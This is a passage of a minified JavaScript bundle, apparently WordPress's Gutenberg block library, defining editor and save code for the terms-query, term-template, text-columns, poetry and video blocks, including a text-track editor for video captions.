Gme({attributes:e,setQuery:t,setAttributes:r,clientId:a,templateSlug:n}){let{termQuery:i,tagName:l}=e,{taxonomy:s,orderBy:c,order:u,hideEmpty:m,inherit:p,showNested:d,perPage:f,include:h}=i,g=W(),y=g8().find(F=>F.slug===s)?.hierarchical,_=!!p,x=["taxonomy","category","tag","archive"].includes(n)||n?.startsWith("taxonomy-")||n?.startsWith("category-")||n?.startsWith("tag-"),k=y,S=!!h?.length,C=(0,fs.__)("Query type"),E=(0,fs.__)("Taxonomy"),B=(0,fs.__)("Order by"),D=(0,fs.__)("Show empty terms"),M=(0,fs.__)("Show nested terms"),O=(0,fs.__)("Max terms"),R=(0,fs.__)("Selected terms");return(0,Mr.jsxs)(Mr.Fragment,{children:[(0,Mr.jsx)(Ume.InspectorControls,{children:(0,Mr.jsxs)(_c.__experimentalToolsPanel,{label:(0,fs.__)("Settings"),resetAll:()=>{r({termQuery:{taxonomy:"category",order:"asc",orderBy:"name",include:[],hideEmpty:!0,showNested:!1,inherit:!1,perPage:10}})},dropdownMenuProps:g,children:[x&&(0,Mr.jsx)(_c.__experimentalToolsPanelItem,{hasValue:()=>p!==!1,label:C,onDeselect:()=>t({inherit:!1}),isShownByDefault:!0,children:(0,Mr.jsx)(Nme,{label:C,value:p,onChange:t})}),!_&&(0,Mr.jsx)(_c.__experimentalToolsPanelItem,{hasValue:()=>s!=="category",label:E,onDeselect:()=>{t({taxonomy:"category"})},isShownByDefault:!0,children:(0,Mr.jsx)(_me,{label:E,value:s,onChange:F=>t({taxonomy:F,include:[]})})}),(0,Mr.jsx)(_c.__experimentalToolsPanelItem,{hasValue:()=>c!=="name"||u!=="asc",label:B,onDeselect:()=>t({orderBy:"name",order:"asc"}),isShownByDefault:!0,children:(0,Mr.jsx)(Cme,{label:B,orderBy:c,order:u,onChange:(F,P)=>{t({orderBy:F,order:P})},disabled:S,help:S?(0,fs.__)("When specific terms are selected, the order is based on their selection order."):void 0})}),!_&&(0,Mr.jsx)(_c.__experimentalToolsPanelItem,{hasValue:()=>!!h?.length,label:R,onDeselect:()=>t({include:[],orderBy:"name",order:"asc"}),isShownByDefault:!0,children:(0,Mr.jsx)(jme,{label:R,taxonomy:s,value:h,onChange:F=>t({include:F})})}),(0,Mr.jsx)(_c.__experimentalToolsPanelItem,{hasValue:()=>m!==!0,label:D,onDeselect:()=>t({hideEmpty:!0}),isShownByDefault:!0,children:(0,Mr.jsx)(Pme,{label:D,value:m,onChange:F=>t({hideEmpty:F})})}),k&&(0,Mr.jsx)(_c.__experimentalToolsPanelItem,{hasValue:()=>d!==!1,label:M,onDeselect:()=>t({showNested:!1}),isShownByDefault:!0,children:(0,Mr.jsx)(Eme,{label:M,value:d,onChange:F=>t({showNested:F}),disabled:S,help:S?(0,fs.__)("When specific terms are selected, only those are displayed."):void 0})}),(0,Mr.jsx)(_c.__experimentalToolsPanelItem,{hasValue:()=>f!==10,label:O,onDeselect:()=>t({perPage:10}),isShownByDefault:!0,children:(0,Mr.jsx)(Ame,{label:O,value:f,onChange:F=>t({perPage:F})})})]})}),(0,Mr.jsx)(zme,{TagName:l,setAttributes:r,clientId:a})]})}var tf=o(v(),1),zCe=[["core/term-template"]];function $me({attributes:e,setAttributes:t,clientId:r,context:a}){let{tagName:n}=e,i=(0,b8.useBlockProps)(),l=(0,b8.useInnerBlocksProps)(i,{template:zCe}),s=(0,Wme.useCallback)(c=>t(u=>({termQuery:{...u.termQuery,...c}})),[t]);return(0,tf.jsxs)(tf.Fragment,{children:[(0,tf.jsx)(Gme,{attributes:e,setQuery:s,setAttributes:t,clientId:r,templateSlug:a?.templateSlug}),(0,tf.jsx)(n,{...l})]})}var y8=o(z(),1),x8=o(U(),1),Zg=o(T(),1),mR=o(v(),1);function qme({attributes:e,clientId:t,name:r}){let{blockType:a,activeBlockVariation:n,scopeVariations:i}=(0,y8.useSelect)(m=>{let{getActiveBlockVariation:p,getBlockType:d,getBlockVariations:f}=m(x8.store);return{blockType:d(r),activeBlockVariation:p(r,e),scopeVariations:f(r,"block")}},[r,e]),l=n?.icon?.src||n?.icon||a?.icon?.src,s=n?.title||a?.title,{replaceInnerBlocks:c}=(0,y8.useDispatch)(Zg.store),u=(0,Zg.useBlockProps)();return(0,mR.jsx)("div",{...u,children:(0,mR.jsx)(Zg.__experimentalBlockVariationPicker,{icon:l,label:s,variations:i,onSelect:m=>{m.innerBlocks&&c(t,(0,x8.createBlocksFromInnerBlocksTemplate)(m.innerBlocks),!1)}})})}var Qme=o(v(),1),VCe=e=>{let r=(0,Zme.useSelect)(a=>!!a(Kme.store).getBlocks(e.clientId).length,[e.clientId])?$me:qme;return(0,Qme.jsx)(r,{...e})},Yme=VCe;var _8=o(T(),1),Xme=o(v(),1);function Jme({attributes:{tagName:e="div"}}){let t=_8.useBlockProps.save(),r=_8.useInnerBlocksProps.save(t);return(0,Xme.jsx)(e,{...r})}var ly=o(I(),1),Kg=o(A(),1),sy=o(v(),1),FCe=(0,sy.jsx)(Kg.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 48 48",children:(0,sy.jsx)(Kg.Path,{d:"M 41,9 H 7 v 3 h 34 z m 0,9 H 7 v 3 h 34 z m 0,18 H 7 v 3 h 34 z m 0,-9 H 7 v 3 h 34 z"})}),OCe=(0,sy.jsx)(Kg.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 48 48",children:(0,sy.jsx)(Kg.Path,{d:"m 36,36 h 5 v 3 h -5 z m 0,-9 h 5 v 3 h -5 z m 0,-9 h 5 v 3 h -5 z m 0,-9 h 5 v 3 H 36 Z M 31,9 H 7 v 3 h 24 z m 0,9 H 7 v 3 h 24 z m 0,18 H 7 v 3 h 24 z m 0,-9 H 7 v 3 h 24 z"})}),epe=["core/term-name",{isLink:!0}],HCe=[{name:"name",title:(0,ly.__)("Name"),description:(0,ly.__)("Display the terms' names."),attributes:{},icon:FCe,scope:["block"],innerBlocks:[["core/term-template",{},[epe]]]},{name:"name-count",title:(0,ly.__)("Name & Count"),description:(0,ly.__)("Display the terms' names and number of posts assigned to each term."),attributes:{},icon:OCe,scope:["block"],innerBlocks:[["core/term-template",{},[["core/group",{layout:{type:"flex",flexWrap:"nowrap"}},[epe,["core/term-count"]]]]]]}],tpe=HCe;var{name:rpe}=h8,ope={icon:hp,edit:Yme,save:Jme,example:{},variations:tpe},jCe=()=>N({name:rpe,metadata:h8,settings:ope});var dR={};q(dR,{init:()=>ZCe,metadata:()=>k8,name:()=>mpe,settings:()=>ppe});var k8={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/term-template",title:"Term Template",category:"theme",ancestor:["core/terms-query"],description:"Contains the block elements used to render a taxonomy term, like the name, description, and more.",textdomain:"default",usesContext:["termQuery"],supports:{anchor:!0,reusable:!1,html:!1,align:["wide","full"],layout:!0,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},spacing:{margin:!0,padding:!0,blockGap:{__experimentalDefault:"1.25em"},__experimentalDefaultControls:{blockGap:!0,padding:!1,margin:!1}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},style:"wp-block-term-template",editorStyle:"wp-block-term-template-editor"};var ape=o(A(),1);var Qg=o(j(),1),npe=o(z(),1),cy=o(I(),1),hl=o(T(),1),ipe=o(Y(),1),ma=o(v(),1),GCe=[["core/term-name"]];function WCe({classList:e}){let t=(0,hl.useInnerBlocksProps)({className:w("wp-block-term",e)},{template:GCe,__unstableDisableLayoutClassNames:!0});return(0,ma.jsx)("li",{...t})}function $Ce({blocks:e,blockContextId:t,classList:r,isHidden:a,setActiveBlockContextId:n}){let i=(0,hl.__experimentalUseBlockPreview)({blocks:e,props:{className:w("wp-block-term",r)}}),l=()=>{n(t)};return(0,ma.jsx)("li",{...i,tabIndex:0,role:"button",onClick:l,onKeyPress:l,style:{display:a?"none":void 0}})}var qCe=(0,Qg.memo)($Ce);function lpe({clientId:e,attributes:{layout:t},setAttributes:r,context:{termQuery:{taxonomy:a,order:n,orderBy:i,hideEmpty:l,showNested:s=!1,perPage:c,include:u}={}},__unstableLayoutClassNames:m}){let{type:p,columnCount:d=3}=t||{},[f,h]=(0,Qg.useState)(),g={hide_empty:l,order:n,orderby:i,per_page:c||-1};!s&&!u?.length&&(g.parent=0),u?.length&&(g.include=u,g.orderby="include",g.order="asc");let{records:b}=(0,ipe.useEntityRecords)("taxonomy",a,g),y=(0,npe.useSelect)(S=>S(hl.store).getBlocks(e),[e]),_=(0,hl.useBlockProps)({className:m}),x=(0,Qg.useMemo)(()=>b?.map(S=>({taxonomy:a,termId:S.id,classList:`term-${S.id}`,termData:S})),[b,a]);if(!b)return(0,ma.jsx)("ul",{..._,children:(0,ma.jsx)("li",{className:"wp-block-term term-loading",children:(0,ma.jsx)("div",{className:"term-loading-placeholder"})})});if(!b.length)return(0,ma.jsxs)("p",{..._,children:[" ",(0,cy.__)("No terms found.")]});let k=S=>r(C=>({layout:{...C.layout,...S}}));return(0,ma.jsxs)(ma.Fragment,{children:[(0,ma.jsx)(hl.BlockControls,{children:(0,ma.jsx)(ape.ToolbarGroup,{controls:[{icon:wl,title:(0,cy._x)("List view","Term template block display setting"),onClick:()=>k({type:"default"}),isActive:p==="default"||p==="constrained"},{icon:kl,title:(0,cy._x)("Grid view","Term template block display setting"),onClick:()=>k({type:"grid",columnCount:d}),isActive:p==="grid"}]})}),(0,ma.jsx)("ul",{..._,children:x?.map(S=>(0,ma.jsxs)(hl.BlockContextProvider,{value:S,children:[S.termId===(f||x[0]?.termId)?(0,ma.jsx)(WCe,{classList:S.classList}):null,(0,ma.jsx)(qCe,{blocks:y,blockContextId:S.termId,classList:S.classList,setActiveBlockContextId:h,isHidden:S.termId===(f||x[0]?.termId)})]},S.termId))})]})}var spe=o(T(),1),cpe=o(v(),1);function upe(){return(0,cpe.jsx)(spe.InnerBlocks.Content,{})}var{name:mpe}=k8,ppe={icon:fp,edit:lpe,save:upe,example:{}},ZCe=()=>N({name:mpe,metadata:k8,settings:ppe});var fR={};q(fR,{init:()=>YCe,metadata:()=>C8,name:()=>vpe,settings:()=>bpe});var Yg=o(I(),1),w8=o(A(),1),kc=o(T(),1),dpe=o(Nf(),1),Mi=o(v(),1);function fpe({attributes:e,setAttributes:t}){let{width:r,content:a,columns:n}=e;return(0,dpe.default)("The Text Columns block",{since:"5.3",alternative:"the Columns block"}),(0,Mi.jsxs)(Mi.Fragment,{children:[(0,Mi.jsx)(kc.BlockControls,{children:(0,Mi.jsx)(kc.BlockAlignmentToolbar,{value:r,onChange:i=>t({width:i}),controls:["center","wide","full"]})}),(0,Mi.jsx)(kc.InspectorControls,{children:(0,Mi.jsx)(w8.PanelBody,{children:(0,Mi.jsx)(w8.RangeControl,{__next40pxDefaultSize:!0,label:(0,Yg.__)("Columns"),value:n,onChange:i=>t({columns:i}),min:2,max:4,required:!0})})}),(0,Mi.jsx)("div",{...(0,kc.useBlockProps)({className:`align${r} columns-${n}`}),children:Array.from({length:n}).map((i,l)=>(0,Mi.jsx)("div",{className:"wp-block-column",children:(0,Mi.jsx)(kc.RichText,{tagName:"p",value:a?.[l]?.children,onChange:s=>{t({content:[...a.slice(0,l),{children:s},...a.slice(l+1)]})},"aria-label":(0,Yg.sprintf)((0,Yg.__)("Column %d text"),l+1),placeholder:(0,Yg.__)("New Column")})},`column-${l}`))})]})}var C8={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/text-columns",title:"Text Columns (deprecated)",icon:"columns",category:"design",description:"This block is deprecated. Please use the Columns block instead.",textdomain:"default",attributes:{content:{type:"array",source:"query",selector:"p",query:{children:{type:"string",source:"html"}},default:[{},{}]},columns:{type:"number",default:2},width:{type:"string"}},supports:{inserter:!1,interactivity:{clientNavigation:!0}},editorStyle:"wp-block-text-columns-editor",style:"wp-block-text-columns"};var T8=o(T(),1),S8=o(v(),1);function hpe({attributes:e}){let{width:t,content:r,columns:a}=e;return(0,S8.jsx)("div",{...T8.useBlockProps.save({className:`align${t} columns-${a}`}),children:Array.from({length:a}).map((n,i)=>(0,S8.jsx)("div",{className:"wp-block-column",children:(0,S8.jsx)(T8.RichText.Content,{tagName:"p",value:r?.[i]?.children})},`column-${i}`))})}var P8=o(U(),1),QCe={to:[{type:"block",blocks:["core/columns"],transform:({className:e,columns:t,content:r,width:a})=>(0,P8.createBlock)("core/columns",{align:a==="wide"||a==="full"?a:void 0,className:e,columns:t},r.map(({children:n})=>(0,P8.createBlock)("core/column",{},[(0,P8.createBlock)("core/paragraph",{content:n})])))}]},gpe=QCe;var{name:vpe}=C8,bpe={transforms:gpe,getEditWrapperProps(e){let{width:t}=e;if(t==="wide"||t==="full")return{"data-align":t}},edit:fpe,save:hpe},YCe=()=>N({name:vpe,metadata:C8,settings:bpe});var yR={};q(yR,{init:()=>n6e,metadata:()=>E8,name:()=>Spe,settings:()=>D8});var bR=o(I(),1);var Cpe=o(U(),1);var rf=o(T(),1);var Xg=o(v(),1),XCe={attributes:{content:{type:"string",source:"html",selector:"pre",default:""},textAlign:{type:"string"}},save({attributes:e}){let{textAlign:t,content:r}=e;return(0,Xg.jsx)(rf.RichText.Content,{tagName:"pre",style:{textAlign:t},value:r})},migrate:be},JCe={attributes:{content:{type:"string",source:"html",selector:"pre",default:"",__unstablePreserveWhiteSpace:!0,role:"content"},textAlign:{type:"string"}},supports:{anchor:!0,color:{gradients:!0,link:!0},typography:{fontSize:!0,__experimentalFontFamily:!0},spacing:{padding:!0}},save({attributes:e}){let{textAlign:t,content:r}=e,a=w({[`has-text-align-${t}`]:t});return(0,Xg.jsx)("pre",{...rf.useBlockProps.save({className:a}),children:(0,Xg.jsx)(rf.RichText.Content,{value:r})})},migrate(e){return be(jt(e))},isEligible({style:e,textAlign:t}){return e?.typography?.fontFamily||!!t}},e6e={attributes:{content:{type:"rich-text",source:"rich-text",selector:"pre",__unstablePreserveWhiteSpace:!0,role:"content"},textAlign:{type:"string"}},supports:{anchor:!0,background:{backgroundImage:!0,backgroundSize:!0},color:{gradients:!0,link:!0},dimensions:{minHeight:!0},typography:{fontSize:!0,__experimentalFontFamily:!0,lineHeight:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalWritingMode:!0},spacing:{margin:!0,padding:!0},__experimentalBorder:{radius:!0,width:!0,color:!0,style:!0},interactivity:{clientNavigation:!0}},save({attributes:e}){let{textAlign:t,content:r}=e,a=w({[`has-text-align-${t}`]:t});return(0,Xg.jsx)("pre",{...rf.useBlockProps.save({className:a}),children:(0,Xg.jsx)(rf.RichText.Content,{value:r})})},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)}},ype=[e6e,JCe,XCe];var hR=o(I(),1),B8=o(T(),1),I8=o(U(),1);var xpe=o(v(),1);function _pe(e){let{attributes:t,setAttributes:r,mergeBlocks:a,onRemove:n,insertBlocksAfter:i,style:l}=e,{content:s}=t;St(e);let c=(0,B8.useBlockProps)({style:l});return(0,xpe.jsx)(B8.RichText,{tagName:"pre",identifier:"content",preserveWhiteSpace:!0,value:s,onChange:u=>{r({content:u})},"aria-label":(0,hR.__)("Poetry text"),placeholder:(0,hR.__)("Write poetry\u2026"),onRemove:n,onMerge:a,...c,__unstablePastePlainText:!0,__unstableOnSplitAtDoubleLineEnd:()=>i((0,I8.createBlock)((0,I8.getDefaultBlockName)()))})}var E8={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/verse",title:"Poetry",category:"text",description:"Insert poetry. Use special spacing formats. Or quote song lyrics.",keywords:["poetry","poem","verse","stanza","song","lyrics"],textdomain:"default",attributes:{content:{type:"rich-text",source:"rich-text",selector:"pre",__unstablePreserveWhiteSpace:!0,role:"content"}},supports:{anchor:!0,background:{backgroundImage:!0,backgroundSize:!0,__experimentalDefaultControls:{backgroundImage:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},dimensions:{minHeight:!0,__experimentalDefaultControls:{minHeight:!1}},typography:{fontSize:!0,__experimentalFontFamily:!0,lineHeight:!0,textAlign:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalWritingMode:!0,__experimentalDefaultControls:{fontSize:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},__experimentalBorder:{radius:!0,width:!0,color:!0,style:!0},interactivity:{clientNavigation:!0}},style:"wp-block-verse",editorStyle:"wp-block-verse-editor"};var N8=o(T(),1),gR=o(v(),1);function kpe({attributes:e}){let{content:t}=e;return(0,gR.jsx)("pre",{...N8.useBlockProps.save(),children:(0,gR.jsx)(N8.RichText.Content,{value:t})})}var vR=o(U(),1),r6e={from:[{type:"block",blocks:["core/paragraph"],transform:e=>(0,vR.createBlock)("core/verse",e)}],to:[{type:"block",blocks:["core/paragraph"],transform:e=>(0,vR.createBlock)("core/paragraph",e)}]},wpe=r6e;var{fieldsKey:o6e,formKey:a6e}=Z(Cpe.privateApis),{name:Spe}=E8,D8={icon:v1,example:{attributes:{content:(0,bR.__)(`WHAT was he doing, the great god Pan,
	Down in the reeds by the river?
Spreading ruin and scattering ban,
Splashing and paddling with hoofs of a goat,
And breaking the golden lilies afloat
    With the dragon-fly on the river.`)}},transforms:wpe,deprecated:ype,merge(e,t){return{content:e.content+`

`+t.content}},edit:_pe,save:kpe};window.__experimentalContentOnlyInspectorFields&&(D8[o6e]=[{id:"content",label:(0,bR.__)("Content"),type:"text",Edit:"rich-text"}],D8[a6e]={fields:["content"]});var n6e=()=>N({name:Spe,metadata:E8,settings:D8});var kR={};q(kR,{init:()=>_6e,metadata:()=>Jg,name:()=>jpe,settings:()=>A8});var M8=o(I(),1);var Hpe=o(U(),1);var uy=o(T(),1);var Jg={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/video",title:"Video",category:"media",description:"Embed a video from your media library or upload a new one.",keywords:["movie"],textdomain:"default",attributes:{autoplay:{type:"boolean",source:"attribute",selector:"video",attribute:"autoplay"},caption:{type:"rich-text",source:"rich-text",selector:"figcaption",role:"content"},controls:{type:"boolean",source:"attribute",selector:"video",attribute:"controls",default:!0},id:{type:"number",role:"content"},loop:{type:"boolean",source:"attribute",selector:"video",attribute:"loop"},muted:{type:"boolean",source:"attribute",selector:"video",attribute:"muted"},poster:{type:"string",source:"attribute",selector:"video",attribute:"poster"},preload:{type:"string",source:"attribute",selector:"video",attribute:"preload",default:"metadata"},blob:{type:"string",role:"local"},src:{type:"string",source:"attribute",selector:"video",attribute:"src",role:"content"},playsInline:{type:"boolean",source:"attribute",selector:"video",attribute:"playsinline"},tracks:{role:"content",type:"array",items:{type:"object"},default:[]}},supports:{anchor:!0,align:!0,spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},interactivity:{clientNavigation:!0}},editorStyle:"wp-block-video-editor",style:"wp-block-video"};var Tpe=o(v(),1);function e0({tracks:e=[]}){return e.map(t=>{let{id:r,...a}=t;return(0,Tpe.jsx)("track",{...a},r??a.src)})}var t0=o(v(),1),{attributes:l6e}=Jg,s6e={attributes:l6e,save({attributes:e}){let{autoplay:t,caption:r,controls:a,loop:n,muted:i,poster:l,preload:s,src:c,playsInline:u,tracks:m}=e;return(0,t0.jsxs)("figure",{...uy.useBlockProps.save(),children:[c&&(0,t0.jsx)("video",{autoPlay:t,controls:a,loop:n,muted:i,poster:l,preload:s!=="metadata"?s:void 0,src:c,playsInline:u,children:(0,t0.jsx)(e0,{tracks:m})}),!uy.RichText.isEmpty(r)&&(0,t0.jsx)(uy.RichText.Content,{tagName:"figcaption",value:r})]})}},c6e=[s6e],Ppe=c6e;var Mpe=o(Tr(),1),Ym=o(A(),1),dn=o(T(),1),o0=o(j(),1),my=o(I(),1),Ape=o(z(),1);var Rpe=o(yr(),1),zpe=o(nr(),1);var jr=o(I(),1),pn=o(A(),1),of=o(j(),1),pa=o(v(),1),u6e=[{value:"auto",label:(0,jr.__)("Auto")},{value:"metadata",label:(0,jr.__)("Metadata")},{value:"none",label:(0,jr._x)("None","Preload value")}],m6e=({setAttributes:e,attributes:t})=>{let{autoplay:r,controls:a,loop:n,muted:i,playsInline:l,preload:s}=t,c=(0,jr.__)("Autoplay may cause usability issues for some users."),u=of.Platform.select({web:(0,of.useCallback)(d=>d?c:null,[]),native:c}),m=(0,of.useMemo)(()=>{let d=f=>h=>{e({[f]:h,...f==="autoplay"&&{muted:h,playsInline:h}})};return{autoplay:d("autoplay"),loop:d("loop"),muted:d("muted"),controls:d("controls"),playsInline:d("playsInline")}},[]),p=(0,of.useCallback)(d=>{e({preload:d})},[]);return(0,pa.jsxs)(pa.Fragment,{children:[(0,pa.jsx)(pn.__experimentalToolsPanelItem,{label:(0,jr.__)("Autoplay"),isShownByDefault:!0,hasValue:()=>!!r,onDeselect:()=>{e({autoplay:!1,muted:!1})},children:(0,pa.jsx)(pn.ToggleControl,{label:(0,jr.__)("Autoplay"),onChange:m.autoplay,checked:!!r,help:u})}),(0,pa.jsx)(pn.__experimentalToolsPanelItem,{label:(0,jr.__)("Loop"),isShownByDefault:!0,hasValue:()=>!!n,onDeselect:()=>{e({loop:!1})},children:(0,pa.jsx)(pn.ToggleControl,{label:(0,jr.__)("Loop"),onChange:m.loop,checked:!!n})}),(0,pa.jsx)(pn.__experimentalToolsPanelItem,{label:(0,jr.__)("Muted"),isShownByDefault:!0,hasValue:()=>!!i,onDeselect:()=>{e({muted:!1})},children:(0,pa.jsx)(pn.ToggleControl,{label:(0,jr.__)("Muted"),onChange:m.muted,checked:!!i,disabled:r,help:r?(0,jr.__)("Muted because of Autoplay."):null})}),(0,pa.jsx)(pn.__experimentalToolsPanelItem,{label:(0,jr.__)("Playback controls"),isShownByDefault:!0,hasValue:()=>!a,onDeselect:()=>{e({controls:!0})},children:(0,pa.jsx)(pn.ToggleControl,{label:(0,jr.__)("Playback controls"),onChange:m.controls,checked:!!a})}),(0,pa.jsx)(pn.__experimentalToolsPanelItem,{label:(0,jr.__)("Play inline"),isShownByDefault:!0,hasValue:()=>!!l,onDeselect:()=>{e({playsInline:!1})},children:(0,pa.jsx)(pn.ToggleControl,{label:(0,jr.__)("Play inline"),onChange:m.playsInline,checked:!!l,disabled:r,help:r?(0,jr.__)("Play inline enabled because of Autoplay."):(0,jr.__)("When enabled, videos will play directly within the webpage on mobile browsers, instead of opening in a fullscreen player.")})}),(0,pa.jsx)(pn.__experimentalToolsPanelItem,{label:(0,jr.__)("Preload"),isShownByDefault:!0,hasValue:()=>s!=="metadata",onDeselect:()=>{e({preload:"metadata"})},children:(0,pa.jsx)(pn.SelectControl,{__next40pxDefaultSize:!0,label:(0,jr.__)("Preload"),value:s,onChange:p,options:u6e,hideCancelButton:!0})})]})},Bpe=m6e;var Rt=o(I(),1),et=o(A(),1),r0=o(T(),1);var Epe=o(z(),1),af=o(j(),1),Npe=o(nr(),1);var Ze=o(v(),1),{Badge:p6e}=Z(et.privateApis),Ipe=["text/vtt"],d6e="subtitles",f6e=[{label:(0,Rt.__)("Subtitles"),value:"subtitles"},{label:(0,Rt.__)("Captions"),value:"captions"},{label:(0,Rt.__)("Descriptions"),value:"descriptions"},{label:(0,Rt.__)("Chapters"),value:"chapters"},{label:(0,Rt.__)("Metadata"),value:"metadata"}],Dpe={src:"",label:"",srcLang:"en",kind:d6e,default:!1};function h6e({tracks:e,onEditPress:t}){let r=e.map((a,n)=>(0,Ze.jsxs)(et.__experimentalHStack,{className:"block-library-video-tracks-editor__track-list-track",children:[(0,Ze.jsx)("span",{children:a.label}),(0,Ze.jsxs)(et.__experimentalHStack,{justify:"flex-end",children:[a.default&&(0,Ze.jsx)(p6e,{children:(0,Rt.__)("Default")}),(0,Ze.jsx)(et.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>t(n),"aria-label":(0,Rt.sprintf)((0,Rt._x)("Edit %s","text tracks"),a.label),children:(0,Rt.__)("Edit")})]})]},a.id??a.src));return(0,Ze.jsx)(et.MenuGroup,{label:(0,Rt.__)("Text tracks"),className:"block-library-video-tracks-editor__track-list",children:r})}function g6e({track:e,onChange:t,onClose:r,onRemove:a,allowSettingDefault:n}){let[i,l]=(0,af.useState)({...Dpe,...e}),{src:s,label:c,srcLang:u,kind:m,default:p}=i,d=s.startsWith("blob:")?"":(0,Npe.getFilename)(s)||"";return(0,Ze.jsxs)(et.__experimentalVStack,{className:"block-library-video-tracks-editor__single-track-editor",spacing:"4",children:[(0,Ze.jsx)("span",{className:"block-library-video-tracks-editor__single-track-editor-edit-track-label",children:(0,Rt.__)("Edit track")}),(0,Ze.jsxs)("span",{children:[(0,Rt.__)("File"),": ",(0,Ze.jsx)("b",{children:d})]}),(0,Ze.jsxs)(et.__experimentalGrid,{columns:2,gap:4,children:[(0,Ze.jsx)(et.TextControl,{__next40pxDefaultSize:!0,onChange:f=>l(h=>({...h,label:f})),label:(0,Rt.__)("Label"),value:c,help:(0,Rt.__)("Title of track")}),(0,Ze.jsx)(et.TextControl,{__next40pxDefaultSize:!0,onChange:f=>l(h=>({...h,srcLang:f})),label:(0,Rt.__)("Source language"),value:u,help:(0,Rt.__)("Language tag (en, fr, etc.)")})]}),(0,Ze.jsxs)(et.__experimentalVStack,{spacing:"4",children:[(0,Ze.jsx)(et.SelectControl,{__next40pxDefaultSize:!0,className:"block-library-video-tracks-editor__single-track-editor-kind-select",options:f6e,value:m,label:(0,Rt.__)("Kind"),onChange:f=>l(h=>({...h,kind:f}))}),(0,Ze.jsx)(et.ToggleControl,{__next40pxDefaultSize:!0,label:(0,Rt.__)("Set as default track"),checked:p,disabled:!n,onChange:f=>l(h=>({...h,default:f}))}),(0,Ze.jsxs)(et.__experimentalHStack,{className:"block-library-video-tracks-editor__single-track-editor-buttons-container",children:[(0,Ze.jsx)(et.Button,{__next40pxDefaultSize:!0,isDestructive:!0,variant:"link",onClick:a,children:(0,Rt.__)("Remove track")}),(0,Ze.jsx)(et.Button,{__next40pxDefaultSize:!0,variant:"primary",onClick:()=>{t(i),r()},children:(0,Rt.__)("Apply")})]})]})]})}function Lpe({tracks:e=[],onChange:t}){let r=(0,Epe.useSelect)(c=>c(r0.store).getSettings().mediaUpload,[]),[a,n]=(0,af.useState)(null),i=(0,af.useRef)(),l=(c=[],u=!1)=>{let m=new Map(e.map(d=>[d.id,d])),p=c.map(({id:d,title:f,url:h})=>m.has(d)?m.get(d):{...Dpe,id:d,label:f||"",src:h});p.length!==0&&t([...u?e:[],...p])};function s(c){let u=c.target.files;r({allowedTypes:Ipe,filesList:u,onFileChange:m=>{if(!Array.isArray(m))return;let p=m.filter(d=>!!d?.id);p.length&&l(p,!0)}})}return(0,af.useEffect)(()=>{i.current?.focus()},[a]),r?(0,Ze.jsx)(et.Dropdown,{contentClassName:"block-library-video-tracks-editor",focusOnMount:!0,popoverProps:{ref:i},renderToggle:({isOpen:c,onToggle:u})=>(0,Ze.jsx)(et.ToolbarGroup,{children:(0,Ze.jsx)(et.ToolbarButton,{"aria-expanded":c,"aria-haspopup":"true",onClick:()=>{c||n(null),u()},children:(0,Rt.__)("Text tracks")})}),renderContent:()=>a!==null?(0,Ze.jsx)(g6e,{track:e[a],onChange:c=>{let u=[...e];u[a]=c,t(u)},onClose:()=>n(null),onRemove:()=>{t(e.filter((c,u)=>u!==a)),n(null)},allowSettingDefault:!e.some(c=>c.default)||e[a].default}):(0,Ze.jsxs)(Ze.Fragment,{children:[e.length===0&&(0,Ze.jsxs)("div",{className:"block-library-video-tracks-editor__tracks-informative-message",children:[(0,Ze.jsx)("h2",{className:"block-library-video-tracks-editor__tracks-informative-message-title",children:(0,Rt.__)("Text tracks")}),(0,Ze.jsx)("p",{className:"block-library-video-tracks-editor__tracks-informative-message-description",children:(0,Rt.__)("Tracks can be subtitles, captions, chapters, or descriptions. They help make your content more accessible to a wider range of users.")})]}),(0,Ze.jsxs)(et.NavigableMenu,{children:[(0,Ze.jsx)(h6e,{tracks:e,onEditPress:n}),(0,Ze.jsx)(et.MenuGroup,{className:"block-library-video-tracks-editor__add-tracks-container",label:(0,Rt.__)("Add tracks"),children:(0,Ze.jsxs)(r0.MediaUploadCheck,{children:[(0,Ze.jsx)(r0.MediaUpload,{onSelect:l,allowedTypes:Ipe,value:e.map(({id:c})=>c),multiple:!0,render:({open:c})=>(0,Ze.jsx)(et.MenuItem,{icon:U0,onClick:c,children:(0,Rt.__)("Open Media Library")})}),(0,Ze.jsx)(et.FormFileUpload,{onChange:s,accept:".vtt,text/vtt",multiple:!0,render:({openFileDialog:c})=>(0,Ze.jsx)(et.MenuItem,{icon:Pc,onClick:c,children:(0,Rt._x)("Upload","verb")})})]})})]})]})}):null}var mr=o(v(),1),xR=["video"];function v6e({isSelected:e,attributes:t,className:r,setAttributes:a,insertBlocksAfter:n,onReplace:i}){let l=(0,o0.useRef)(),{id:s,controls:c,poster:u,src:m,tracks:p}=t,[d,f]=(0,o0.useState)(t.blob),h=W(),b=(0,dn.useBlockEditingMode)()==="default";xs({url:d,allowedTypes:xR,onChange:y,onError:k}),(0,o0.useEffect)(()=>{l.current&&l.current.load()},[u]);function y(B){if(!B||!B.url){a({src:void 0,id:void 0,poster:void 0,caption:void 0,blob:void 